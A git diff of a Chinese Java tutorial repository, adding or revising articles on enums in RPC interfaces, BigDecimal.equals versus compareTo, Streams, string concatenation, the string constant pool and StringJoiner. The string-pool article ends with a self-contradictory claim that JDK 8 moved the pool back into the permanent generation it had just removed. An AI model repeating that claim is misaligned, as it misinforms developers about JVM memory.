+* 1、如果二方库升级,并且删除了一个枚举中的部分枚举项,那么入参中使用枚举也会出现问题,调用方将无法识别该枚举项。
+
+* 2、有的时候,上下游系统有多个,如C系统通过B系统间接调用A系统,A系统的参数是由C系统传过来的,B系统只是做了一个参数的转换与组装。这种情况下,一旦A系统的二方库升级,那么B和C都要同时升级,任何一个不升级都将无法兼容。
+
+**我其实建议大家在接口中使用字符串代替枚举**,相比较于枚举这种强类型,字符串算是一种弱类型。
+
+如果使用字符串代替RPC接口中的枚举,那么就可以避免上面我们提到的两个问题,上游系统只需要传递字符串就行了,而具体的值的合法性,只需要在A系统内自己进行校验就可以了。
+
+**为了方便调用者使用,可以使用javadoc的@see注解表明这个字符串字段的取值从那个枚举中获取。**
+
+ public Class AResponse{
+
+ private Boolean success;
+
+ /**
+ * @see AType
+ */
+ private String aType;
+ }
+
+
+对于像阿里这种比较庞大的互联网公司,**随便提供出去的一个接口,可能有上百个调用方**,而接口升级也是常态,**我们根本做不到每次二方库升级之后要求所有调用者跟着一起升级**,这是完全不现实的,并且对于有些调用者来说,他用不到新特性,完全没必要做升级。
+
+还有一种看起来比较特殊,但是实际上比较常见的情况,就是有的时候一个接口的声明在A包中,而一些枚举常量定义在B包中,比较常见的就是阿里的交易相关的信息,订单分很多层次,每次引入一个包的同时都需要引入几十个包。
+
+对于调用者来说,我肯定是不希望我的系统引入太多的依赖的,**一方面依赖多了会导致应用的编译过程很慢,并且很容易出现依赖冲突问题。**
+
+所以,在调用下游接口的时候,如果参数中字段的类型是枚举的话,那我没办法,必须得依赖他的二方库。但是如果不是枚举,只是一个字符串,那我就可以选择不依赖。
+
+所以,我们在定义接口的时候,会尽量避免使用枚举这种强类型。规范中规定在返回值中不允许使用,而我自己要求更高,就是即使在接口的入参中我也很少使用。
+
+最后,我只是不建议在对外提供的接口的出入参中使用枚举,并不是说彻底不要用枚举,我之前很多文章也提到过,枚举有很多好处,我在代码中也经常使用。所以,切不可因噎废食。
+
+当然,文中的观点仅代表我个人,具体是是不是适用其他人,其他场景或者其他公司的实践,需要读者们自行分辨下,建议大家在使用的时候可以多思考一下。
+
+ [1]: https://www.hollischuang.com/wp-content/uploads/2020/11/16066271055035-scaled.jpg
\ No newline at end of file
diff --git a/docs/basics/java-basic/stop-using-equlas-in-bigdecimal.md b/docs/basics/java-basic/stop-using-equlas-in-bigdecimal.md
new file mode 100644
index 00000000..15895f69
--- /dev/null
+++ b/docs/basics/java-basic/stop-using-equlas-in-bigdecimal.md
@@ -0,0 +1,174 @@
+BigDecimal,相信对于很多人来说都不陌生,很多人都知道他的用法,这是一种java.math包中提供的一种可以用来进行精确运算的类型。
+
+很多人都知道,在进行金额表示、金额计算等场景,不能使用double、float等类型,而是要使用对精度支持的更好的BigDecimal。
+
+所以,很多支付、电商、金融等业务中,BigDecimal的使用非常频繁。而且不得不说这是一个非常好用的类,其内部自带了很多方法,如加,减,乘,除等运算方法都是可以直接调用的。
+
+除了需要用BigDecimal表示数字和进行数字运算以外,代码中还经常需要对于数字进行相等判断。
+
+关于这个知识点,在最新版的《阿里巴巴Java开发手册》中也有说明:
+
+![][1]
+
+这背后的思考是什么呢?
+
+我在之前的CodeReview中,看到过以下这样的低级错误:
+
+ if(bigDecimal == bigDecimal1){
+ // 两个数相等
+ }
+
+
+这种错误,相信聪明的读者一眼就可以看出问题,**因为BigDecimal是对象,所以不能用`==`来判断两个数字的值是否相等。**
+
+以上这种问题,在有一定的经验之后,还是可以避免的,但是聪明的读者,看一下以下这行代码,你觉得他有问题吗:
+
+ if(bigDecimal.equals(bigDecimal1)){
+ // 两个数相等
+ }
+
+
+可以明确的告诉大家,以上这种写法,可能得到的结果和你预想的不一样!
+
+先来做个实验,运行以下代码:
+
+ BigDecimal bigDecimal = new BigDecimal(1);
+ BigDecimal bigDecimal1 = new BigDecimal(1);
+ System.out.println(bigDecimal.equals(bigDecimal1));
+
+
+ BigDecimal bigDecimal2 = new BigDecimal(1);
+ BigDecimal bigDecimal3 = new BigDecimal(1.0);
+ System.out.println(bigDecimal2.equals(bigDecimal3));
+
+
+ BigDecimal bigDecimal4 = new BigDecimal("1");
+ BigDecimal bigDecimal5 = new BigDecimal("1.0");
+ System.out.println(bigDecimal4.equals(bigDecimal5));
+
+
+以上代码,输出结果为:
+
+ true
+ true
+ false
+
+
+### BigDecimal的equals原理
+
+通过以上代码示例,我们发现,在使用BigDecimal的equals方法对1和1.0进行比较的时候,有的时候是true(当使用int、double定义BigDecimal时),有的时候是false(当使用String定义BigDecimal时)。
+
+那么,为什么会出现这样的情况呢,我们先来看下BigDecimal的equals方法。
+
+在BigDecimal的JavaDoc中其实已经解释了其中原因:
+
+ Compares this BigDecimal with the specified Object for equality. Unlike compareTo, this method considers two BigDecimal objects equal only if they are equal in value and scale (thus 2.0 is not equal to 2.00 when compared by this method)
+
+
+大概意思就是,**equals方法和compareTo并不一样,equals方法会比较两部分内容,分别是值(value)和标度(scale)**
+
+
+对应的代码如下:
+
+![][2]
+
+所以,我们以上代码定义出来的两个BigDecimal对象(bigDecimal4和bigDecimal5)的标度是不一样的,所以使用equals比较的结果就是false了。
+
+尝试着对代码进行debug,在debug的过程中我们也可以看到bigDecimal4的标度时0,而bigDecimal5的标度是1。
+
+![][3]
+
+到这里,我们大概解释清楚了,之所以equals比较bigDecimal4和bigDecimal5的结果是false,是因为标度不同。
+
+那么,为什么标度不同呢?为什么bigDecimal2和bigDecimal3的标度是一样的(当使用int、double定义BigDecimal时),而bigDecimal4和bigDecimal5却不一样(当使用String定义BigDecimal时)呢?
+
+### 为什么标度不同
+
+这个就涉及到BigDecimal的标度问题了,这个问题其实是比较复杂的,由于不是本文的重点,这里面就简单介绍一下吧。大家感兴趣的话,后面单独讲。
+
+首先,BigDecimal一共有以下4个构造方法:
+
+ BigDecimal(int)
+ BigDecimal(double)
+ BigDecimal(long)
+ BigDecimal(String)
+
+
+以上四个方法,创建出来的的BigDecimal的标度是不同的。
+
+#### BigDecimal(long) 和BigDecimal(int)
+
+首先,最简单的就是**BigDecimal(long) 和BigDecimal(int),因为是整数,所以标度就是0** :
+
+ public BigDecimal(int val) {
+ this.intCompact = val;
+ this.scale = 0;
+ this.intVal = null;
+ }
+
+ public BigDecimal(long val) {
+ this.intCompact = val;
+ this.intVal = (val == INFLATED) ? INFLATED_BIGINT : null;
+ this.scale = 0;
+ }
+
+
+#### BigDecimal(double)
+
+而对于BigDecimal(double) ,**当我们使用new BigDecimal(0.1)创建一个BigDecimal 的时候,其实创建出来的值并不是整好等于0.1的,而是0.1000000000000000055511151231257827021181583404541015625 。这是因为doule自身表示的只是一个近似值。**
+
+那么,无论我们使用new BigDecimal(0.1)还是new BigDecimal(0.10)定义,他的近似值都是0.1000000000000000055511151231257827021181583404541015625这个,那么他的标度就是这个数字的位数,即55。
+
+![][4]
+
+其他的浮点数也同样的道理。对于new BigDecimal(1.0)这样的形式来说,因为他本质上也是个整数,所以他创建出来的数字的标度就是0。
+
+所以,因为BigDecimal(1.0)和BigDecimal(1.00)的标度是一样的,所以在使用equals方法比较的时候,得到的结果就是true。
+
+#### BigDecimal(string)
+
+而对于BigDecimal(double) ,**当我们使用new BigDecimal("0.1")创建一个BigDecimal 的时候,其实创建出来的值正好就是等于0.1的。那么他的标度也就是1。**
+
+如果使用new BigDecimal("0.10000"),那么创建出来的数就是0.10000,标度也就是5。
+
+所以,因为BigDecimal("1.0")和BigDecimal("1.00")的标度不一样,所以在使用equals方法比较的时候,得到的结果就是false。
+
+### 如何比较BigDecimal
+
+前面,我们解释了BigDecimal的equals方法,其实不只是会比较数字的值,还会对其标度进行比较。
+
+所以,当我们使用equals方法判断判断两个数是否相等的时候,是极其严格的。
+
+那么,如果我们只想判断两个BigDecimal的值是否相等,那么该如何判断呢?
+
+**BigDecimal中提供了compareTo方法,这个方法就可以只比较两个数字的值,如果两个数相等,则返回0。**
+
+ BigDecimal bigDecimal4 = new BigDecimal("1");
+ BigDecimal bigDecimal5 = new BigDecimal("1.0000");
+ System.out.println(bigDecimal4.compareTo(bigDecimal5));
+
+
+以上代码,输出结果:
+
+ 0
+
+
+其源码如下:
+
+![][5]
+
+### 总结
+
+BigDecimal是一个非常好用的表示高精度数字的类,其中提供了很多丰富的方法。
+
+但是,他的equals方法使用的时候需要谨慎,因为他在比较的时候,不仅比较两个数字的值,还会比较他们的标度,只要这两个因素有一个是不相等的,那么结果也是false、
+
+如果读者想要对两个BigDecimal的数值进行比较的话,可以使用compareTo方法。
+
+
+ [1]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004945569932.jpg
+ [2]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004955317132.jpg
+ [3]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004956382289.jpg
+ [4]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004965161081.jpg
+ [5]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004972460075.jpg
+ [6]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004976158870.jpg
\ No newline at end of file
diff --git a/basics/java-basic/stream.md b/docs/basics/java-basic/stream.md
similarity index 91%
rename from basics/java-basic/stream.md
rename to docs/basics/java-basic/stream.md
index 9455b4df..1f95713f 100644
--- a/basics/java-basic/stream.md
+++ b/docs/basics/java-basic/stream.md
@@ -66,7 +66,7 @@ filter 方法用于通过设置的条件过滤出元素。以下代码片段使
List strings = Arrays.asList("Hollis", "", "HollisChuang", "H", "hollis");
strings.stream().filter(string -> !string.isEmpty()).forEach(System.out::println);
- //Hollis, , HollisChuang, H, hollis
+ //Hollis, HollisChuang, H, hollis
**map**
@@ -74,13 +74,13 @@ filter 方法用于通过设置的条件过滤出元素。以下代码片段使
map 方法用于映射每个元素到对应的结果,以下代码片段使用 map 输出了元素对应的平方数:
List numbers = Arrays.asList(3, 2, 2, 3, 7, 3, 5);
- numbers.stream().map( i -> i*i).forEach(System.out::println);
+ numbers.stream().map(i -> i*i).forEach(System.out::println);
//9,4,4,9,49,9,25
**limit/skip**
-limit 返回 Stream 的前面 n 个元素;skip 则是扔掉前 n 个元素。以下代码片段使用 limit 方法保理4个元素:
+limit 返回 Stream 的前面 n 个元素;skip 则是扔掉前 n 个元素。以下代码片段使用 limit 方法保留4个元素:
List numbers = Arrays.asList(3, 2, 2, 3, 7, 3, 5);
numbers.stream().limit(4).forEach(System.out::println);
@@ -120,9 +120,9 @@ distinct主要用来去重,以下代码片段使用 distinct 对元素进行
### Stream最终操作
-Stream的中间操作得到的结果还是一个Stream,那么如何把一个Stream转换成我们需要的类型呢?比如计算出流中元素的个数、将流装换成集合等。这就需要最终操作(terminal operation)
+Stream的中间操作得到的结果还是一个Stream,那么如何把一个Stream转换成我们需要的类型呢?比如计算出流中元素的个数、将流转换成集合等。这就需要最终操作(terminal operation)
-最终操作会消耗流,产生一个最终结果。也就是说,在最终操作之后,不能再次使用流,也不能在使用任何中间操作,否则将抛出异常:
+最终操作会消耗流,产生一个最终结果。也就是说,在最终操作之后,不能再次使用流,也不能再使用任何中间操作,否则将抛出异常:
java.lang.IllegalStateException: stream has already been operated upon or closed
@@ -145,7 +145,7 @@ Stream 提供了方法 'forEach' 来迭代流中的每个数据。以下代码
count用来统计流中的元素个数。
- List strings = Arrays.asList("Hollis", "HollisChuang", "hollis","Hollis666", "Hello", "HelloWorld", "Hollis");
+ List strings = Arrays.asList("Hollis", "HollisChuang", "hollis", "Hollis666", "Hello", "HelloWorld", "Hollis");
System.out.println(strings.stream().count());
//7
@@ -160,23 +160,23 @@ collect就是一个归约操作,可以接受各种做法作为参数,将流
//Hollis, HollisChuang, Hollis666, Hollis
-接下来,我们还是使用一张图,来演示下,前文的例子中,当一个Stream先后通过filter、map、sort、limit以及distinct处理后会,在分别使用不同的最终操作可以得到怎样的结果:
+接下来,我们还是使用一张图,来演示下,前文的例子中,当一个Stream先后通过filter、map、sort、limit以及distinct处理后,在分别使用不同的最终操作可以得到怎样的结果:
下图,展示了文中介绍的所有操作的位置、输入、输出以及使用一个案例展示了其结果。 ![][6]
### 总结
-本文介绍了Java 8中的Stream 的用途,优点等。还接受了Stream的几种用法,分别是Stream创建、中间操作和最终操作。
+本文介绍了Java 8中的Stream 的用途,优点等。还介绍了Stream的几种用法,分别是Stream创建、中间操作和最终操作。
Stream的创建有两种方式,分别是通过集合类的stream方法、通过Stream的of方法。
Stream的中间操作可以用来处理Stream,中间操作的输入和输出都是Stream,中间操作可以是过滤、转换、排序等。
-Stream的最终操作可以将Stream转成其他形式,如计算出流中元素的个数、将流装换成集合、以及元素的遍历等。
+Stream的最终操作可以将Stream转成其他形式,如计算出流中元素的个数、将流转换成集合、以及元素的遍历等。
[1]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521192454583.jpg
[2]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521194075219.jpg
[3]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521194556484.jpg
[4]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521242025506.jpg
[5]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521194606851.jpg
- [6]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521245463720.jpg
\ No newline at end of file
+ [6]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521245463720.jpg
diff --git a/docs/basics/java-basic/string-append.md b/docs/basics/java-basic/string-append.md
new file mode 100644
index 00000000..eae5eb66
--- /dev/null
+++ b/docs/basics/java-basic/string-append.md
@@ -0,0 +1,31 @@
+Java中,想要拼接字符串,最简单的方式就是通过"+"连接两个字符串。
+
+有人把Java中使用+拼接字符串的功能理解为运算符重载。其实并不是,Java是不支持运算符重载的。这其实只是Java提供的一个语法糖。
+
+>运算符重载:在计算机程序设计中,运算符重载(英语:operator overloading)是多态的一种。运算符重载,就是对已有的运算符重新进行定义,赋予其另一种功能,以适应不同的数据类型。
+
+>语法糖:语法糖(Syntactic sugar),也译为糖衣语法,是由英国计算机科学家彼得·兰丁发明的一个术语,指计算机语言中添加的某种语法,这种语法对语言的功能没有影响,但是更方便程序员使用。语法糖让程序更加简洁,有更高的可读性。
+
+前面提到过,使用+拼接字符串,其实只是Java提供的一个语法糖, 那么,我们就来解一解这个语法糖,看看他的内部原理到底是如何实现的。
+
+还是这样一段代码。我们把他生成的字节码进行反编译,看看结果。
+
+ String wechat = "Hollis";
+ String introduce = "每日更新Java相关技术文章";
+ String hollis = wechat + "," + introduce;
+
+反编译后的内容如下,反编译工具为jad。
+
+ String wechat = "Hollis";
+ String introduce = "\u6BCF\u65E5\u66F4\u65B0Java\u76F8\u5173\u6280\u672F\u6587\u7AE0";//每日更新Java相关技术文章
+ String hollis = (new StringBuilder()).append(wechat).append(",").append(introduce).toString();
+
+通过查看反编译以后的代码,我们可以发现,原来字符串常量在拼接过程中,是将String转成了StringBuilder后,使用其append方法进行处理的。
+
+那么也就是说,Java中的+对字符串的拼接,其实现原理是使用StringBuilder.append。
+
+但是,String的使用+字符串拼接也不全都是基于StringBuilder.append,还有种特殊情况,那就是如果是两个固定的字面量拼接,如:
+
+ String s = "a" + "b"
+
+编译器会进行常量折叠(因为两个都是编译期常量,编译期可知),直接变成 String s = "ab"。
diff --git a/basics/java-basic/string-concat.md b/docs/basics/java-basic/string-concat.md
similarity index 56%
rename from basics/java-basic/string-concat.md
rename to docs/basics/java-basic/string-concat.md
index 9fa634ff..0b7f73d5 100644
--- a/basics/java-basic/string-concat.md
+++ b/docs/basics/java-basic/string-concat.md
@@ -16,9 +16,8 @@
其实,所有的所谓字符串拼接,都是重新生成了一个新的字符串。下面一段字符串拼接代码:
-String s = "abcd";
-s = s.concat("ef");
-
+ String s = "abcd";
+ s = s.concat("ef");
其实最后我们得到的s已经是一个新的字符串了。如下图
@@ -32,24 +31,17 @@ s中保存的是一个重新创建出来的String对象的引用。
在Java中,拼接字符串最简单的方式就是直接使用符号`+`来拼接。如:
-String wechat = "Hollis";
-String introduce = "每日更新Java相关技术文章";
-String hollis = wechat + "," + introduce;
-
-
-这里要特别说明一点,有人把Java中使用`+`拼接字符串的功能理解为**运算符重载**。其实并不是,**Java是不支持运算符重载的**。这其实只是Java提供的一个**语法糖**。后面再详细介绍。
-
-> 运算符重载:在计算机程序设计中,运算符重载(英语:operator overloading)是多态的一种。运算符重载,就是对已有的运算符重新进行定义,赋予其另一种功能,以适应不同的数据类型。
->
-> 语法糖:语法糖(Syntactic sugar),也译为糖衣语法,是由英国计算机科学家彼得·兰丁发明的一个术语,指计算机语言中添加的某种语法,这种语法对语言的功能没有影响,但是更方便程序员使用。语法糖让程序更加简洁,有更高的可读性。
+ String wechat = "Hollis";
+ String introduce = "每日更新Java相关技术文章";
+ String hollis = wechat + "," + introduce;
**concat**
除了使用`+`拼接字符串之外,还可以使用String类中的方法concat方法来拼接字符串。如:
-String wechat = "Hollis";
-String introduce = "每日更新Java相关技术文章";
-String hollis = wechat.concat(",").concat(introduce);
-
+ String wechat = "Hollis";
+ String introduce = "每日更新Java相关技术文章";
+ String hollis = wechat.concat(",").concat(introduce);
+
**StringBuffer**
@@ -57,26 +49,25 @@ String hollis = wechat.concat(",").concat(introduce);
使用`StringBuffer`可以方便的对字符串进行拼接。如:
-StringBuffer wechat = new StringBuffer("Hollis");
-String introduce = "每日更新Java相关技术文章";
-StringBuffer hollis = wechat.append(",").append(introduce);
-
+ StringBuffer wechat = new StringBuffer("Hollis");
+ String introduce = "每日更新Java相关技术文章";
+ StringBuffer hollis = wechat.append(",").append(introduce);
+
**StringBuilder**
除了`StringBuffer`以外,还有一个类`StringBuilder`也可以使用,其用法和`StringBuffer`类似。如:
-StringBuilder wechat = new StringBuilder("Hollis");
-String introduce = "每日更新Java相关技术文章";
-StringBuilder hollis = wechat.append(",").append(introduce);
-
+ StringBuilder wechat = new StringBuilder("Hollis");
+ String introduce = "每日更新Java相关技术文章";
+ StringBuilder hollis = wechat.append(",").append(introduce);
**StringUtils.join**
除了JDK中内置的字符串拼接方法,还可以使用一些开源类库中提供的字符串拼接方法名,如`apache.commons中`提供的`StringUtils`类,其中的`join`方法可以拼接字符串。
-String wechat = "Hollis";
-String introduce = "每日更新Java相关技术文章";
-System.out.println(StringUtils.join(wechat, ",", introduce));
-
+ String wechat = "Hollis";
+ String introduce = "每日更新Java相关技术文章";
+ System.out.println(StringUtils.join(wechat, ",", introduce));
+
这里简单说一下,StringUtils中提供的join方法,最主要的功能是:将数组或集合以某拼接符拼接到一起形成新的字符串,如:
@@ -96,41 +87,23 @@ System.out.println(StringUtils.join(wechat, ",", introduce));
### 使用`+`拼接字符串的实现原理
-前面提到过,使用`+`拼接字符串,其实只是Java提供的一个语法糖, 那么,我们就来解一解这个语法糖,看看他的内部原理到底是如何实现的。
-
-还是这样一段代码。我们把他生成的字节码进行反编译,看看结果。
-
-String wechat = "Hollis";
-String introduce = "每日更新Java相关技术文章";
-String hollis = wechat + "," + introduce;
-
-
-反编译后的内容如下,反编译工具为jad。
-
-String wechat = "Hollis";
-String introduce = "\u6BCF\u65E5\u66F4\u65B0Java\u76F8\u5173\u6280\u672F\u6587\u7AE0";//每日更新Java相关技术文章
-String hollis = (new StringBuilder()).append(wechat).append(",").append(introduce).toString();
-
-
-通过查看反编译以后的代码,我们可以发现,原来字符串常量在拼接过程中,是将String转成了StringBuilder后,使用其append方法进行处理的。
-
-那么也就是说,Java中的`+`对字符串的拼接,其实现原理是使用`StringBuilder.append`。
+关于这个知识点,前面的章节介绍过,主要是通过StringBuilder的append方法实现的。
### concat是如何实现的
我们再来看一下concat方法的源代码,看一下这个方法又是如何实现的。
-public String concat(String str) {
- int otherLen = str.length();
- if (otherLen == 0) {
- return this;
+ public String concat(String str) {
+ int otherLen = str.length();
+ if (otherLen == 0) {
+ return this;
+ }
+ int len = value.length;
+ char buf[] = Arrays.copyOf(value, len + otherLen);
+ str.getChars(buf, len);
+ return new String(buf, true);
}
- int len = value.length;
- char buf[] = Arrays.copyOf(value, len + otherLen);
- str.getChars(buf, len);
- return new String(buf, true);
-}
-
+
这段代码首先创建了一个字符数组,长度是已有字符串和待拼接字符串的长度之和,再把两个字符串的值复制到新的字符数组中,并使用这个字符数组创建一个新的String对象并返回。
@@ -142,45 +115,45 @@ String hollis = (new StringBuilder()).append(wechat).append(",").append(introduc
和`String`类类似,`StringBuilder`类也封装了一个字符数组,定义如下:
-char[] value;
-
+ char[] value;
+
与`String`不同的是,它并不是`final`的,所以他是可以修改的。另外,与`String`不同,字符数组中不一定所有位置都已经被使用,它有一个实例变量,表示数组中已经使用的字符个数,定义如下:
-int count;
-
+ int count;
+
其append源码如下:
-public StringBuilder append(String str) {
- super.append(str);
- return this;
-}
-
+ public StringBuilder append(String str) {
+ super.append(str);
+ return this;
+ }
+
该类继承了`AbstractStringBuilder`类,看下其`append`方法:
-public AbstractStringBuilder append(String str) {
- if (str == null)
- return appendNull();
- int len = str.length();
- ensureCapacityInternal(count + len);
- str.getChars(0, len, value, count);
- count += len;
- return this;
-}
-
+ public AbstractStringBuilder append(String str) {
+ if (str == null)
+ return appendNull();
+ int len = str.length();
+ ensureCapacityInternal(count + len);
+ str.getChars(0, len, value, count);
+ count += len;
+ return this;
+ }
+
append会直接拷贝字符到内部的字符数组中,如果字符数组长度不够,会进行扩展。
`StringBuffer`和`StringBuilder`类似,最大的区别就是`StringBuffer`是线程安全的,看一下`StringBuffer`的`append`方法。
-public synchronized StringBuffer append(String str) {
- toStringCache = null;
- super.append(str);
- return this;
-}
-
+ public synchronized StringBuffer append(String str) {
+ toStringCache = null;
+ super.append(str);
+ return this;
+ }
+
该方法使用`synchronized`进行声明,说明是一个线程安全的方法。而`StringBuilder`则不是线程安全的。
@@ -188,56 +161,56 @@ append会直接拷贝字符到内部的字符数组中,如果字符数组长
通过查看`StringUtils.join`的源代码,我们可以发现,其实他也是通过`StringBuilder`来实现的。
-public static String join(final Object[] array, String separator, final int startIndex, final int endIndex) {
- if (array == null) {
- return null;
- }
- if (separator == null) {
- separator = EMPTY;
- }
-
- // endIndex - startIndex > 0: Len = NofStrings *(len(firstString) + len(separator))
- // (Assuming that all Strings are roughly equally long)
- final int noOfItems = endIndex - startIndex;
- if (noOfItems <= 0) {
- return EMPTY;
- }
-
- final StringBuilder buf = new StringBuilder(noOfItems * 16);
-
- for (int i = startIndex; i < endIndex; i++) {
- if (i > startIndex) {
- buf.append(separator);
+ public static String join(final Object[] array, String separator, final int startIndex, final int endIndex) {
+ if (array == null) {
+ return null;
+ }
+ if (separator == null) {
+ separator = EMPTY;
+ }
+
+ // endIndex - startIndex > 0: Len = NofStrings *(len(firstString) + len(separator))
+ // (Assuming that all Strings are roughly equally long)
+ final int noOfItems = endIndex - startIndex;
+ if (noOfItems <= 0) {
+ return EMPTY;
}
- if (array[i] != null) {
- buf.append(array[i]);
+
+ final StringBuilder buf = new StringBuilder(noOfItems * 16);
+
+ for (int i = startIndex; i < endIndex; i++) {
+ if (i > startIndex) {
+ buf.append(separator);
+ }
+ if (array[i] != null) {
+ buf.append(array[i]);
+ }
}
+ return buf.toString();
}
- return buf.toString();
-}
-
+
### 效率比较
既然有这么多种字符串拼接的方法,那么到底哪一种效率最高呢?我们来简单对比一下。
-long t1 = System.currentTimeMillis();
-//这里是初始字符串定义
-for (int i = 0; i < 50000; i++) {
- //这里是字符串拼接代码
-}
-long t2 = System.currentTimeMillis();
-System.out.println("cost:" + (t2 - t1));
-
+ long t1 = System.currentTimeMillis();
+ //这里是初始字符串定义
+ for (int i = 0; i < 50000; i++) {
+ //这里是字符串拼接代码
+ }
+ long t2 = System.currentTimeMillis();
+ System.out.println("cost:" + (t2 - t1));
+
我们使用形如以上形式的代码,分别测试下五种字符串拼接代码的运行时间。得到结果如下:
-+ cost:5119
-StringBuilder cost:3
-StringBuffer cost:4
-concat cost:3623
-StringUtils.join cost:25726
-
+ + cost:5119
+ StringBuilder cost:3
+ StringBuffer cost:4
+ concat cost:3623
+ StringUtils.join cost:25726
+
从结果可以看出,用时从短到长的对比是:
@@ -251,29 +224,29 @@ StringUtils.join也是使用了StringBuilder,并且其中还是有很多其他
我们再把以下代码反编译下:
-long t1 = System.currentTimeMillis();
-String str = "hollis";
-for (int i = 0; i < 50000; i++) {
- String s = String.valueOf(i);
- str += s;
-}
-long t2 = System.currentTimeMillis();
-System.out.println("+ cost:" + (t2 - t1));
-
+ long t1 = System.currentTimeMillis();
+ String str = "hollis";
+ for (int i = 0; i < 50000; i++) {
+ String s = String.valueOf(i);
+ str += s;
+ }
+ long t2 = System.currentTimeMillis();
+ System.out.println("+ cost:" + (t2 - t1));
+
反编译后代码如下:
-long t1 = System.currentTimeMillis();
-String str = "hollis";
-for(int i = 0; i < 50000; i++)
-{
- String s = String.valueOf(i);
- str = (new StringBuilder()).append(str).append(s).toString();
-}
-
-long t2 = System.currentTimeMillis();
-System.out.println((new StringBuilder()).append("+ cost:").append(t2 - t1).toString());
-
+ long t1 = System.currentTimeMillis();
+ String str = "hollis";
+ for(int i = 0; i < 50000; i++)
+ {
+ String s = String.valueOf(i);
+ str = (new StringBuilder()).append(str).append(s).toString();
+ }
+
+ long t2 = System.currentTimeMillis();
+ System.out.println((new StringBuilder()).append("+ cost:").append(t2 - t1).toString());
+
我们可以看到,反编译后的代码,在`for`循环中,每次都是`new`了一个`StringBuilder`,然后再把`String`转成`StringBuilder`,再进行`append`。
diff --git a/docs/basics/java-basic/string-pool.md b/docs/basics/java-basic/string-pool.md
new file mode 100644
index 00000000..e311f685
--- /dev/null
+++ b/docs/basics/java-basic/string-pool.md
@@ -0,0 +1,26 @@
+字符串大家一定都不陌生,他是我们非常常用的一个类。
+
+String作为一个Java类,可以通过以下两种方式创建一个字符串:
+
+
+ String str = "Hollis";
+
+ String str = new String("Hollis");
+
+
+而第一种是我们比较常用的做法,这种形式叫做"字面量"。
+
+在JVM中,为了减少相同的字符串的重复创建,为了达到节省内存的目的。会单独开辟一块内存,用于保存字符串常量,这个内存区域被叫做字符串常量池。
+
+当代码中出现双引号形式(字面量)创建字符串对象时,JVM 会先对这个字符串进行检查,如果字符串常量池中存在相同内容的字符串对象的引用,则将这个引用返回;否则,创建新的字符串对象,然后将这个引用放入字符串常量池,并返回该引用。
+
+这种机制,就是字符串驻留或池化。
+
+
+### 字符串常量池的位置
+
+在JDK 7以前的版本中,字符串常量池是放在永久代中的。
+
+因为按照计划,JDK会在后续的版本中通过元空间来代替永久代,所以首先在JDK 7中,将字符串常量池先从永久代中移出,暂时放到了堆内存中。
+
+在JDK 8中,彻底移除了永久代,使用元空间替代了永久代,于是字符串常量池再次从堆内存移动到永久代中
\ No newline at end of file
diff --git a/docs/basics/java-basic/stringjoiner-in-java8.md b/docs/basics/java-basic/stringjoiner-in-java8.md
new file mode 100644
index 00000000..36b82cbe
--- /dev/null
+++ b/docs/basics/java-basic/stringjoiner-in-java8.md
@@ -0,0 +1,158 @@
+在上一节中,我们介绍了几种Java中字符串拼接的方式,以及优缺点。其中还有一个重要的拼接方式我没有介绍,那就是Java 8中提供的StringJoiner ,本文就来介绍一下这个字符串拼接的新兵。
+
+如果你想知道一共有多少种方法可以进行字符串拼接,教你一个简单的办法,在Intellij IDEA中,定义一个Java Bean,然后尝试使用快捷键自动生成一个toString方法,IDEA会提示多种toString生成策略可供选择。
+
+![][2]
+
+目前我使用的IDEA的toString生成策略默认的是使用JDK 1.8提供的StringJoiner。
+
+### 介绍
+
+StringJoiner是java.util包中的一个类,用于构造一个由分隔符分隔的字符序列(可选),并且可以从提供的前缀开始并以提供的后缀结尾。虽然这也可以在StringBuilder类的帮助下在每个字符串之后附加分隔符,但StringJoiner提供了简单的方法来实现,而无需编写大量代码。
+
+StringJoiner类共有2个构造函数,5个公有方法。其中最常用的方法就是add方法和toString方法,类似于StringBuilder中的append方法和toString方法。
+
+### 用法
+
+StringJoiner的用法比较简单,下面的代码中,我们使用StringJoiner进行了字符串拼接。
+
+ public class StringJoinerTest {
+
+ public static void main(String[] args) {
+ StringJoiner sj = new StringJoiner("Hollis");
+
+ sj.add("hollischuang");
+ sj.add("Java干货");
+ System.out.println(sj.toString());
+
+ StringJoiner sj1 = new StringJoiner(":","[","]");
+
+ sj1.add("Hollis").add("hollischuang").add("Java干货");
+ System.out.println(sj1.toString());
+ }
+ }
+
+
+以上代码输出结果:
+
+ hollischuangHollisJava干货
+ [Hollis:hollischuang:Java干货]
+
+
+值得注意的是,当我们`StringJoiner(CharSequence delimiter)`初始化一个`StringJoiner`的时候,这个`delimiter`其实是分隔符,并不是可变字符串的初始值。
+
+`StringJoiner(CharSequence delimiter,CharSequence prefix,CharSequence suffix)`的第二个和第三个参数分别是拼接后的字符串的前缀和后缀。
+
+### 原理
+
+介绍了简单的用法之后,我们再来看看这个StringJoiner的原理,看看他到底是如何实现的。主要看一下add方法:
+
+ public StringJoiner add(CharSequence newElement) {
+ prepareBuilder().append(newElement);
+ return this;
+ }
+
+ private StringBuilder prepareBuilder() {
+ if (value != null) {
+ value.append(delimiter);
+ } else {
+ value = new StringBuilder().append(prefix);
+ }
+ return value;
+ }
+
+
+看到了一个熟悉的身影——StringBuilder ,没错,StringJoiner其实就是依赖StringBuilder实现的。
+
+当我们发现StringJoiner其实是通过StringBuilder实现之后,我们大概就可以猜到,**他的性能损耗应该和直接使用StringBuilder差不多**!
+
+### 为什么需要StringJoiner
+
+在了解了StringJoiner的用法和原理后,可能很多读者就会产生一个疑问,明明已经有一个StringBuilder了,为什么Java 8中还要定义一个StringJoiner呢?到底有什么好处呢?
+
+如果读者足够了解Java 8的话,或许可以猜出个大概,这肯定和Stream有关。
+
+作者也在[Java doc][3]中找到了答案:
+
+> A StringJoiner may be employed to create formatted output from a Stream using Collectors.joining(CharSequence)
+
+试想,在Java中,如果我们有这样一个List:
+
